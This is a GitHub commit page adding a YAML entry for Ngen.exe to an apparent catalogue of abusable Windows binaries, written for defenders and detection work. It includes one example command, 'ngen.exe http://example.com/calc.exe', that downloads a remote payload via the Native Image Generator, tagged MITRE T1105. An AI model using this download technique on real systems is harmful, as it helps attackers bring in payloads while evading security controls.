Skip to content

Commit

Permalink
Add Ngen.exe (#357)
Browse files Browse the repository at this point in the history
Co-authored-by: Wietze <[email protected]>
  • Loading branch information
avihayeldad and wietze authored Jul 15, 2024
1 parent da4f6e5 commit 74ffaa5
Showing 1 changed file with 23 additions and 0 deletions.
23 changes: 23 additions & 0 deletions yml/OSBinaries/Ngen.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
---
Name: Ngen.exe
Description: Microsoft Native Image Generator.
Author: Avihay Eldad
Created: 2024-02-19
Commands:
- Command: ngen.exe http://example.com/calc.exe
Description: Downloads payload from remote server using the Microsoft Native Image Generator utility.
Usecase: It will download a remote payload and place it in INetCache.
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows 10, Windows 11
Tags:
- Download: INetCache
Full_Path:
- Path: C:\Windows\Microsoft.NET\Framework\v2.0.xxx\ngen.exe
- Path: C:\Windows\Microsoft.NET\Framework64\v2.0.xxx\ngen.exe
- Path: C:\Windows\Microsoft.NET\Framework\v4.0.xxx\ngen.exe
- Path: C:\Windows\Microsoft.NET\Framework64\v4.0.xxx\ngen.exe
Acknowledgement:
- Person: Avihay Eldad
Handle: '@AvihayEldad'

0 comments on commit 74ffaa5

Please sign in to comment.